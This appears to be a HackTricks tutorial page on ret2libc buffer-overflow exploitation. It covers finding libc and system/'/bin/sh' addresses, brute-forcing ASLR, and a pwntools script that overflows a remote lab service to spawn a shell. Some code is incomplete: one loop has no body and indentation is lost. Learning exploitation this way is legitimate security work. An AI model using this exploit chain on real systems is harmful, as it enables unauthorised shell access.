112 lines
4.0 KiB
Markdown
112 lines
4.0 KiB
Markdown
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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**If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.**
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# If you are **inside** the **host**
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## You can find the **address of lib**c
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```bash
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ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
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```
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If you want to check if the ASLR is changing the address of libc you can do:
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```bash
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for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
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```
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## Get offset of system function
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```bash
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readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
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```
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## Get offset of "/bin/sh"
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```bash
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strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
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```
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## /proc/\<PID>/maps
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If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
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Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
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.png>)
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In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
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## Using gdb-peda
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Get address of **system** function, of **exit** function and of the string **"/bin/sh"** using gdb-peda:
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```
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p system
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p exit
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find "/bin/sh"
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```
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# Bypassing ASLR
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You can try to bruteforce the abse address of libc.
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```python
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for off in range(0xb7000000, 0xb8000000, 0x1000):
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```
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# Code
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```python
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from pwn import *
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c = remote('192.168.85.181',20002)
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c.recvline() #Banner
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for off in range(0xb7000000, 0xb8000000, 0x1000):
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p = ""
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p += p32(off + 0x0003cb20) #system
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p += "CCCC" #GARBAGE
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p += p32(off + 0x001388da) #/bin/sh
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payload = 'A'*0x20010 + p
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c.send(payload)
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c.interactive() #?
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```
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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|
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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|
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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